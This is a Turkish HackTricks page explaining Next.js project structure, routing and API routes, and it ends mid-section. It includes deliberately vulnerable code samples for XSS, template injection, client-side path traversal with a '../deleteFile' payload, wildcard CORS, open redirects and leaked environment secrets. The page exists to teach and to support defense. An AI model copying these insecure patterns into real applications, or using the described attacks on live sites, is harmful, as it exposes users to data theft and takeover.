NextJS
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Next.js Uygulamasının Genel Mimarisi
Tipik Dosya Yapısı
Standart bir Next.js projesi, yönlendirme, API uç noktaları ve statik varlık yönetimi gibi özelliklerini kolaylaştıran belirli bir dosya ve dizin yapısını takip eder. İşte tipik bir düzen:
my-nextjs-app/
├── node_modules/
├── public/
│ ├── images/
│ │ └── logo.png
│ └── favicon.ico
├── app/
│ ├── api/
│ │ └── hello/
│ │ └── route.ts
│ ├── layout.tsx
│ ├── page.tsx
│ ├── about/
│ │ └── page.tsx
│ ├── dashboard/
│ │ ├── layout.tsx
│ │ └── page.tsx
│ ├── components/
│ │ ├── Header.tsx
│ │ └── Footer.tsx
│ ├── styles/
│ │ ├── globals.css
│ │ └── Home.module.css
│ └── utils/
│ └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json
Temel Klasörler ve Dosyalar
- public/: Görseller, fontlar ve diğer dosyalar gibi statik varlıkları barındırır. Buradaki dosyalara kök yolundan (
/) erişilebilir. - app/: Uygulamanızın sayfaları, layout’ları, bileşenleri ve API route’ları için merkezi dizindir. App Router paradigmasını benimser; gelişmiş yönlendirme özellikleri ve sunucu-istemci bileşen ayrımını sağlar.
- app/layout.tsx: Uygulamanız için kök layout’u tanımlar; tüm sayfaları sarar ve header, footer ve navigasyon çubukları gibi tutarlı UI öğelerini sağlar.
- app/page.tsx: Kök rota
/için giriş noktası olarak hizmet eder ve ana sayfayı render eder. - app/[route]/page.tsx: Statik ve dinamik rotaları ele alır.
app/içindeki her klasör bir rota segmentini temsil eder ve bu klasörlerdekipage.tsxo rotanın bileşenine karşılık gelir. - app/api/: HTTP isteklerini işleyen serverless fonksiyonları oluşturmanıza olanak tanıyan API route’larını içerir. Bu route’lar geleneksel
pages/apidizininin yerini alır. - app/components/: Farklı sayfalar ve layout’lar arasında kullanılabilecek yeniden kullanılabilir React bileşenlerini barındırır.
- app/styles/: Küresel CSS dosyalarını ve bileşen bazlı stil için CSS Modules’ları içerir.
- app/utils/: Uygulama genelinde paylaşılabilecek yardımcı fonksiyonlar, yardımcı modüller ve diğer UI dışı mantıkları içerir.
- .env.local: Yerel geliştirme ortamına özgü environment değişkenlerini depolar. Bu değişkenler versiyon kontrolüne eklenmez.
- next.config.js: webpack yapılandırmaları, environment değişkenleri ve güvenlik ayarları dahil olmak üzere Next.js davranışını özelleştirir.
- tsconfig.json: Proje için TypeScript ayarlarını yapılandırır; tip kontrolü ve diğer TypeScript özelliklerini etkinleştirir.
- package.json: Proje bağımlılıklarını, script’leri ve metadata’yı yönetir.
- README.md: Kurulum talimatları, kullanım yönergeleri ve diğer ilgili detaylar dahil olmak üzere proje hakkında dokümantasyon ve bilgi sağlar.
- yarn.lock / package-lock.json: Projenin bağımlılıklarını belirli sürümlere kilitler, farklı ortamlar arasında tutarlı kurulumları sağlar.
Next.js’de İstemci Tarafı
app Dizininin Dosya Tabanlı Yönlendirmesi
app dizini, en son Next.js sürümlerinde yönlendirmenin temel taşını oluşturur. Rotaları tanımlamak için dosya sisteminden yararlanır; bu da rota yönetimini sezgisel ve ölçeklenebilir kılar.
Kök Yol / ile Baş Etme
Dosya Yapısı:
my-nextjs-app/
├── app/
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Ana Dosyalar:
app/page.tsx: Kök yolu/için gelen istekleri işler.app/layout.tsx: Uygulamanın düzenini tanımlar, tüm sayfaları kapsar.
Uygulama:
tsxCopy code// app/page.tsx
export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}
Açıklama:
- Rota Tanımı:
page.tsxdosyasıappdizininin hemen altında yer alır ve/rotasına karşılık gelir. - Render Etme: Bu bileşen ana sayfa için içeriği render eder.
- Layout Entegrasyonu:
HomePagebileşenilayout.tsxile sarılır; bu, başlıklar, altbilgiler ve diğer ortak öğeleri içerebilir.
Diğer Statik Yolların Yönetimi
Örnek: /about Rotası
Dosya Yapısı:
arduinoCopy codemy-nextjs-app/
├── app/
│ ├── about/
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Uygulama:
// app/about/page.tsx
export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}
Açıklama:
- Rota Tanımı:
page.tsxdosyasıaboutklasörü içinde/aboutrotasına karşılık gelir. - Renderleme: Bu bileşen about sayfasının içeriğini render eder.
Dynamic Routes
Dinamik rotalar, değişken segmentlere sahip yolları işlemeyi sağlar; uygulamaların ID’ler, slug’lar vb. gibi parametrelere göre içerik göstermesine olanak verir.
Örnek: /posts/[id] Rotası
Dosya Yapısı:
arduinoCopy codemy-nextjs-app/
├── app/
│ ├── posts/
│ │ └── [id]/
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Uygulama:
tsxCopy code// app/posts/[id]/page.tsx
import { useRouter } from 'next/navigation';
interface PostProps {
params: { id: string };
}
export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'
return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}
Açıklama:
- Dinamik Segment:
[id]rota içindeki dinamik bir segmenti belirtir ve URL’denidparametresini yakalar. - Parametrelere Erişim:
paramsobjesi, bileşen içinde erişilebilen dinamik parametreleri içerir. - Rota Eşleşmesi:
/posts/*ile eşleşen herhangi bir yol, ör./posts/1,/posts/abc, vb., bu bileşen tarafından işlenecektir.
İç İçe Rotalar
Next.js, dizin yapısını yansıtan hiyerarşik rota yapılarına izin veren iç içe yönlendirmeyi destekler.
Örnek: /dashboard/settings/profile Rotası
Dosya Yapısı:
arduinoCopy codemy-nextjs-app/
├── app/
│ ├── dashboard/
│ │ ├── settings/
│ │ │ └── profile/
│ │ │ └── page.tsx
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Uygulama:
tsxCopy code// app/dashboard/settings/profile/page.tsx
export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}
Açıklama:
- Derin İç İçe Yerleştirme:
dashboard/settings/profile/içindekipage.tsxdosyası/dashboard/settings/profilerotasına karşılık gelir. - Hiyerarşi Yansıması: Dizin yapısı URL yolunu yansıtarak bakım ve açıklığı artırır.
Catch-All Rotaları
Catch-all rotaları birden fazla iç içe geçmiş segmenti veya bilinmeyen yolları işler, rota yönetiminde esneklik sağlar.
Örnek: /* Rota
Dosya Yapısı:
my-nextjs-app/
├── app/
│ ├── [...slug]/
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Uygulama:
// app/[...slug]/page.tsx
interface CatchAllProps {
params: { slug: string[] }
}
export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`
return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}
Açıklama:
- Catch-All Segment:
[...slug]kalan tüm yol segmentlerini bir dizi olarak yakalar. - Kullanım: Kullanıcı tarafından oluşturulan yollar, iç içe kategoriler gibi dinamik yönlendirme senaryolarını işlemek için faydalıdır.
- Rota Eşlemesi:
/anything/here,/foo/bar/bazgibi yollar bu bileşen tarafından işlenir.
Potansiyel İstemci Tarafı Zayıflıkları
Next.js güvenli bir temel sağlasa da, yanlış kodlama uygulamaları zayıflıkların ortaya çıkmasına neden olabilir. Önemli istemci tarafı zayıflıkları şunlardır:
Cross-Site Scripting (XSS)
XSS saldırıları, kötü niyetli scriptlerin güvenilir web sitelerine enjekte edilmesiyle meydana gelir. Saldırganlar, kullanıcıların tarayıcılarında scriptleri çalıştırarak veri çalabilir veya kullanıcının adına işlemler gerçekleştirebilir.
Zayıf Kod Örneği:
// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}
Neden Güvenli Değildir: dangerouslySetInnerHTML’i güvenilmeyen girdilerle kullanmak, saldırganların kötü amaçlı scriptler enjekte etmesine olanak tanır.
Client-Side Template Injection
Kullanıcı girdileri şablonlarda yanlış işlendiğinde meydana gelir; bu da saldırganların şablonlar veya ifadeler enjekte edip çalıştırmasına izin verir.
Zayıf Kod Örneği:
import React from "react"
import ejs from "ejs"
function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}
Neden Güvenlik Açığı Var: Eğer template veya data zararlı içerik içeriyorsa, bu istemeden code yürütülmesine yol açabilir.
Client Path Traversal
Bu, saldırganların istemci tarafı yollarını manipüle ederek Cross-Site Request Forgery (CSRF) gibi istenmeyen eylemleri gerçekleştirmesine izin veren bir zafiyettir. Sunucunun dosya sistemini hedef alan server-side path traversal’dan farklı olarak, CSPT meşru API isteklerini kötü niyetli endpoints’e yönlendirmek için istemci tarafı mekanizmalarını istismar etmeye odaklanır.
Kırılgan Code Örneği:
Bir Next.js uygulaması kullanıcılara dosya yükleme ve indirme imkanı sağlar. İndirme özelliği istemci tarafında uygulanmıştır; kullanıcılar indirmek istedikleri dosyanın yolunu belirtebilir.
// pages/download.js
import { useState } from "react"
export default function DownloadPage() {
const [filePath, setFilePath] = useState("")
const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}
return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}
Saldırgan Senaryosu
- Saldırganın Hedefi:
filePath’ı manipüle ederek kritik bir dosyayı (ör.admin/config.json) silmek amacıyla bir CSRF saldırısı gerçekleştirmek. - CSPT’yi Sömürme:
- Kötü Amaçlı Girdi: Saldırgan,
../deleteFile/config.jsongibi manipüle edilmiş birfilePathiçeren bir URL hazırlar. - Ortaya Çıkan API Çağrısı: İstemci tarafı kodu
/api/files/../deleteFile/config.jsonadresine bir istek yapar. - Sunucunun İşleyişi: Sunucu
filePath’ı doğrulamazsa isteği işler ve hassas dosyaları silebilir veya ifşa edebilir.
- CSRF’yi Gerçekleştirme:
- Oluşturulmuş Bağlantı: Saldırgan, kurbana manipüle edilmiş
filePathile indirme isteğini tetikleyen bir bağlantı gönderir veya kötü amaçlı bir script gömer. - Sonuç: Kurban farkında olmadan işlemi gerçekleştirir; bu da yetkisiz dosya erişimine veya silinmesine yol açar.
Neden Savunmasız
- Girdi Doğrulama Eksikliği: İstemci tarafı rastgele
filePathgirdilerine izin verir; bu da path traversal’a olanak tanır. - İstemci Girdilerine Güvenme: Sunucu tarafı API,
filePath’ı sanitize etmeden güvenip işler. - Olası API Eylemleri: API endpoint’i durum değiştiren eylemler yapıyorsa (ör. dosya silme, değiştirme), CSPT aracılığıyla istismar edilebilir.
Next.js’te Sunucu Tarafı
Sunucu Tarafı Rendering (SSR)
Sayfalar her istekte sunucuda render edilir; bu, kullanıcının tam render edilmiş HTML almasını sağlar. Bu durumda istekleri işlemek için kendi özel sunucunu oluşturmalısın.
Kullanım Durumları:
- Sık değişen dinamik içerikler.
- SEO optimizasyonu; çünkü arama motorları tam render edilmiş sayfayı tarayabilir.
Uygulama:
// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}
function HomePage({ data }) {
return <div>{data.title}</div>
}
export default HomePage
Statik Site Oluşturma (SSG)
Sayfalar build zamanında önceden render edilir; bu da daha hızlı yükleme süreleri ve azalan sunucu yükü sağlar.
Kullanım Alanları:
- Sık değişmeyen içerik.
- Bloglar, dokümantasyon, pazarlama sayfaları.
Uygulama:
// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}
function HomePage({ data }) {
return <div>{data.title}</div>
}
export default HomePage
Serverless Fonksiyonlar (API Routes)
Next.js, serverless fonksiyonlar olarak API uç noktaları oluşturulmasına izin verir. Bu fonksiyonlar talep üzerine çalışır ve özel bir sunucuya ihtiyaç duymaz.
Kullanım Durumları:
- Form gönderimlerini işleme.
- Veritabanları ile etkileşim.
- Veri işleme veya üçüncü taraf API’lerle entegrasyon.
Uygulama:
Next.js 13’te app dizininin tanıtılmasıyla, routing ve API işlemleri daha esnek ve güçlü hale geldi. Bu modern yaklaşım dosya tabanlı routing sistemiyle yakından uyumlu olmakla birlikte, server ve client komponentlerini destekleme dahil olmak üzere geliştirilmiş yetenekler sunar.
Temel Rota İşleyici
Dosya Yapısı:
my-nextjs-app/
├── app/
│ └── api/
│ └── hello/
│ └── route.js
├── package.json
└── ...
Uygulama:
// app/api/hello/route.js
export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))
Açıklama:
- Konum: API rotaları
app/api/dizini altında yer alır. - Dosya Adlandırma: Her API endpoint’i kendi klasöründe bulunur ve içinde
route.jsveyaroute.tsdosyası bulunur. - Dışa Aktarılan Fonksiyonlar: Tek bir default export yerine, belirli HTTP yöntemlerini (ör.
GET,POST) tanımlayan fonksiyonlar export edilir. - Yanıt İşleme: Yanıtları döndürmek için
Responseconstructor’ını kullanın; bu başlıklar ve durum kodları üzerinde daha fazla kontrol sağlar.
Diğer yollar ve yöntemler nasıl ele alınır:
Belirli HTTP Yöntemlerini Ele Alma
Next.js 13+ aynı route.js veya route.ts dosyası içinde belirli HTTP yöntemleri için işleyiciler tanımlamanıza izin verir; bu, daha açık ve düzenli kod sağlar.
Örnek:
// app/api/users/[id]/route.js
export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
Açıklama:
- Birden Fazla Exports: Her HTTP yöntemi (
GET,PUT,DELETE) kendi exported function’ına sahiptir. - Parametreler: İkinci argüman,
paramsüzerinden route parametrelerine erişim sağlar. - Geliştirilmiş Yanıtlar: response object’ları üzerinde daha fazla kontrol sunar; header ve status code yönetiminde hassasiyet sağlar.
Catch-All ve Nested Rotalar
Next.js 13+ catch-all rotalar ve nested API rotaları gibi gelişmiş routing özelliklerini destekler; bu, daha dinamik ve ölçeklenebilir API yapıları oluşturmayı sağlar.
Catch-All Route Example:
// app/api/[...slug]/route.js
export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
Açıklama:
- Sözdizimi:
[...]tüm iç içe geçmiş yolları yakalayan bir catch-all segmentini belirtir. - Kullanım: Farklı rota derinliklerini veya dinamik segmentleri işlemeleri gereken API’ler için kullanışlıdır.
İç İçe Rotalar Örneği:
// app/api/posts/[postId]/comments/[commentId]/route.js
export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}
Açıklama:
- Derin İç İçe Yapılar: Kaynak ilişkilerini yansıtarak hiyerarşik API yapıları oluşturmayı sağlar.
- Parametre Erişimi:
paramsnesnesi aracılığıyla birden fazla rota parametresine kolayca erişin.
Next.js 12 ve Öncesinde API yollarını Yönetme
pages Dizinindeki API Yolları (Next.js 12 ve Öncesi)
Next.js 13 app dizinini ve geliştirilmiş yönlendirme yeteneklerini tanıtmadan önce, API yolları öncelikle pages dizini içinde tanımlanıyordu. Bu yaklaşım hâlâ Next.js 12 ve öncesi sürümlerde yaygın olarak kullanılır ve desteklenir.
Temel API Yolu
Dosya Yapısı:
goCopy codemy-nextjs-app/
├── pages/
│ └── api/
│ └── hello.js
├── package.json
└── ...
Uygulama:
javascriptCopy code// pages/api/hello.js
export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}
Açıklama:
- Konum: API route’ları
pages/api/dizini altında bulunur. - Dışa aktarma: İşleyici fonksiyonunu tanımlamak için
export defaultkullanın. - Fonksiyon İmzası: İşleyici
req(HTTP request) veres(HTTP response) nesnelerini alır. - Yönlendirme: Dosya adı (
hello.js)/api/helloendpoint’ine karşılık gelir.
Dinamik API Rotaları
Dosya Yapısı:
bashCopy codemy-nextjs-app/
├── pages/
│ └── api/
│ └── users/
│ └── [id].js
├── package.json
└── ...
Uygulama:
javascriptCopy code// pages/api/users/[id].js
export default function handler(req, res) {
const {
query: { id },
method,
} = req;
switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}
Açıklama:
- Dinamik Segmentler: Köşeli parantezler (
[id].js) dinamik route segmentlerini belirtir. - Parametrelere Erişim: Dinamik parametreye erişmek için
req.query.idkullanın. - Metodları Yönetme: Farklı HTTP yöntemlerini (
GET,PUT,DELETE, vb.) işlemek için koşullu mantık kullanın.
Farklı HTTP Yöntemlerini İşleme
Temel API route örneği tüm HTTP yöntemlerini tek bir fonksiyon içinde ele alırken, kodunuzu her yöntemi açıkça ele alacak şekilde yapılandırarak daha iyi açıklık ve sürdürülebilirlik sağlayabilirsiniz.
Örnek:
javascriptCopy code// pages/api/posts.js
export default async function handler(req, res) {
const { method } = req;
switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}
En İyi Uygulamalar:
- Separation of Concerns: Farklı HTTP yöntemlerine ait mantığı açıkça ayırın.
- Response Consistency: İstemci tarafı işlemlerini kolaylaştırmak için yanıt yapılarında tutarlılık sağlayın.
- Error Handling: Desteklenmeyen yöntemleri ve beklenmeyen hataları uygun şekilde ele alın.
CORS Yapılandırması
API rotalarınıza hangi originlerin erişebileceğini kontrol ederek Cross-Origin Resource Sharing (CORS) güvenlik açıklarını azaltın.
Kötü Yapılandırma Örneği:
// app/api/data/route.js
export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}
Unutmayın ki CORS tüm API routes’larında da yapılandırılabilir middleware.ts dosyası içinde:
// app/middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"
export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")
const response = NextResponse.next()
if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}
// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}
return response
}
export const config = {
matcher: "/api/:path*", // Apply to all API routes
}
Sorun:
Access-Control-Allow-Origin: '*': Herhangi bir web sitesinin API’ye erişmesine izin verir; potansiyel olarak kötü amaçlı sitelerin API’nizle sınırlama olmadan etkileşim kurmasına olanak tanır.- Geniş Yöntem İzni: Tüm yöntemlere izin vermek, saldırganların istenmeyen eylemler gerçekleştirmesine olanak sağlayabilir.
Saldırganların bunu suistimal etme şekli:
Saldırganlar, API’nize istek yapan kötü amaçlı web siteleri oluşturabilir; bu, veri alma, veri manipülasyonu veya yetkili kullanıcılar adına istenmeyen eylemleri tetikleme gibi işlevlerin kötüye kullanılmasına yol açabilir.
CORS - Misconfigurations & Bypass
Sunucu kodunun İstemci Tarafında Açığa Çıkması
Sunucu tarafından kullanılan kodun istemci tarafında açığa çıkan ve kullanılan koda kolayca dahil edilmesi mümkündür. Bir kod dosyasının istemci tarafında asla açığa çıkmamasını sağlamak için dosyanın başında şu import’u kullanmak en iyi yoldur:
import "server-only"
Ana Dosyalar ve Roller
middleware.ts / middleware.js
Konum: Projenin kök dizini veya src/ içinde.
Amaç: İstek işlenmeden önce sunucu tarafında serverless fonksiyon içinde kod çalıştırır; kimlik doğrulama, yönlendirmeler veya yanıtları değiştirme gibi görevleri gerçekleştirmeye izin verir.
Çalışma Akışı:
- Gelen İstek: middleware isteği yakalar.
- İşleme: İstek bazlı işlemler gerçekleştirir (ör. kimlik doğrulamasını kontrol etme).
- Yanıtın Değiştirilmesi: Yanıtı değiştirebilir veya kontrolü sonraki işleyiciye aktarabilir.
Örnek Kullanım Durumları:
- Yetkilendirilmemiş kullanıcıları yönlendirme.
- Özel header’lar ekleme.
- İstekleri kaydetme.
Örnek Yapılandırma:
// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"
export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}
export const config = {
matcher: ["/protected/:path*"],
}
next.config.js
Location: Projenin kökü.
Purpose: Next.js davranışını yapılandırır; özellikleri etkinleştirme/devre dışı bırakma, webpack yapılandırmalarını özelleştirme, ortam değişkenlerini ayarlama ve çeşitli güvenlik özelliklerini yapılandırma.
Key Security Configurations:
Güvenlik Başlıkları
Güvenlik başlıkları, tarayıcılara içeriği nasıl işleyeceklerini bildirerek uygulamanızın güvenliğini artırır. Bu başlıklar Cross-Site Scripting (XSS), Clickjacking ve MIME type sniffing gibi çeşitli saldırıları hafifletmeye yardımcı olur:
- Content Security Policy (CSP)
- X-Frame-Options
- X-Content-Type-Options
- Strict-Transport-Security (HSTS)
- Referrer Policy
Örnekler:
// next.config.js
module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}
Görüntü Optimizasyonu Ayarları
Next.js, performans için görüntüleri optimize eder, ancak yanlış yapılandırmalar güvenlik açıklarına yol açabilir; örneğin güvensiz kaynakların kötü amaçlı içerik enjekte etmesine izin verme gibi.
Kötü Yapılandırma Örneği:
// next.config.js
module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}
Sorun:
'*': Görsellerin güvenilmeyen veya kötü amaçlı alanlar dahil olmak üzere herhangi bir dış kaynaktan yüklenmesine izin verir. Saldırganlar, kötü amaçlı yük veya kullanıcıları yanıltan içerik barındıran görseller barındırabilir.- Diğer bir sorun, bir alan adının herkesin bir görsel yükleyebileceği şekilde izin verilmesi olabilir (ör.
raw.githubusercontent.com)
Saldırganlar bunu nasıl kötüye kullanır:
Kötü amaçlı kaynaklardan gelen görselleri enjekte ederek saldırganlar phishing saldırıları gerçekleştirebilir, yanıltıcı bilgi gösterebilir veya görsel işleme kütüphanelerindeki güvenlik açıklarını istismar edebilir.
Ortam Değişkenlerinin Açığa Çıkması
API anahtarları ve veritabanı kimlik bilgileri gibi hassas bilgileri, istemciye açmadan güvenli şekilde yönetin.
a. Hassas Değişkenlerin Açığa Çıkması
Kötü Yapılandırma Örneği:
// next.config.js
module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for client
},
}
Sorun:
SECRET_API_KEY:NEXT_PUBLIC_öneki olmadan Next.js değişkenleri istemciye açmaz. Ancak yanlışlıkla önek eklendiğinde (ör.NEXT_PUBLIC_SECRET_API_KEY), bu değişken istemci tarafında erişilebilir hale gelir.
Saldırganlar bunu nasıl kötüye kullanır:
Eğer hassas değişkenler istemciye açılırsa, saldırganlar istemci tarafı kodunu veya ağ isteklerini inceleyerek bunları elde edebilir ve API’lara, veritabanlarına veya diğer servislere yetkisiz erişim sağlayabilir.
Redirects
Uygulamanız içinde URL yönlendirmelerini ve yeniden yazımları yönetin; kullanıcıların uygun şekilde yönlendirildiğinden emin olun ve open redirect vulnerabilities riskini önleyin.
a. Open Redirect Vulnerability
Kötü Yapılandırma Örneği:
// next.config.js
module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}
Sorun:
- Dinamik Hedef: Kullanıcıların herhangi bir URL belirtmesine izin verir, bu da open redirect saldırılarına olanak tanır.
- Kullanıcı Girdisine Güvenme: Kullanıcılar tarafından sağlanan URL’lere doğrulama olmadan yapılan yönlendirmeler phishing, malware distribution veya credential theft’e yol açabilir.
Saldırganlar bunu nasıl kötüye kullanır:
Saldırganlar, alan adınızdan geliyormuş gibi görünen fakat kullanıcıları kötü amaçlı sitelere yönlendiren URL’ler oluşturabilir. Örneğin:
https://yourdomain.com/redirect?url=https://malicious-site.com
Orijinal alan adına güvenen kullanıcılar farkında olmadan zararlı web sitelerine yönlendirilebilir.
Webpack Yapılandırması
Next.js uygulamanız için Webpack yapılandırmalarını özelleştirmek, dikkatli kullanılmazsa istemeden güvenlik açıklarına yol açabilir.
a. Hassas Modüllerin Açığa Çıkarılması
Kötü Yapılandırma Örneği:
// next.config.js
module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}
Sorun:
- Hassas Yolların Açığa Çıkarılması: Hassas dizinlere alias atanması ve istemci tarafı erişimine izin verilmesi gizli bilgilerin leak olmasına neden olabilir.
- Gizlerin Paketlenmesi: Eğer hassas dosyalar istemci için paketlenirse, içerikleri source maps veya istemci tarafı kodunun incelenmesi yoluyla erişilebilir hale gelir.
Saldırganlar Bunu Nasıl Kötüye Kullanır:
Saldırganlar uygulamanın dizin yapısına erişebilir veya yeniden oluşturabilir; potansiyel olarak hassas dosyaları veya verileri bulup istismar edebilirler.
pages/_app.js and pages/_document.js
pages/_app.js
Amacı: Varsayılan App bileşenini geçersiz kılar; global state, stiller ve layout bileşenlerine izin verir.
Kullanım Durumları:
- Küresel CSS ekleme.
- Layout sarmalayıcıları ekleme.
- Durum yönetimi (state management) kütüphanelerini entegre etme.
Örnek:
// pages/_app.js
import "../styles/globals.css"
function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}
export default MyApp
pages/_document.js
Amaç: Varsayılan Document’i geçersiz kılar, <html> ve <body> etiketlerinin özelleştirilmesine izin verir.
Kullanım Senaryoları:
<html>veya<body>etiketlerini değiştirmek.- Meta etiketleri veya özel scriptler eklemek.
- Üçüncü taraf yazı tiplerini entegre etmek.
Örnek:
// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"
class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}
export default MyDocument
Özel Sunucu (İsteğe Bağlı)
Amaç: Next.js yerleşik bir sunucuyla gelirken, özel yönlendirme veya mevcut backend servisleriyle entegrasyon gibi gelişmiş kullanım senaryoları için özel bir sunucu oluşturabilirsiniz.
Not: Özel bir sunucu kullanmak dağıtım seçeneklerini kısıtlayabilir, özellikle Next.js’in yerleşik sunucusu için optimize eden Vercel gibi platformlarda.
Örnek:
// server.js
const express = require("express")
const next = require("next")
const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()
app.prepare().then(() => {
const server = express()
// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})
// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})
server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})
Ek Mimari ve Güvenlik Hususları
Ortam Değişkenleri ve Yapılandırma
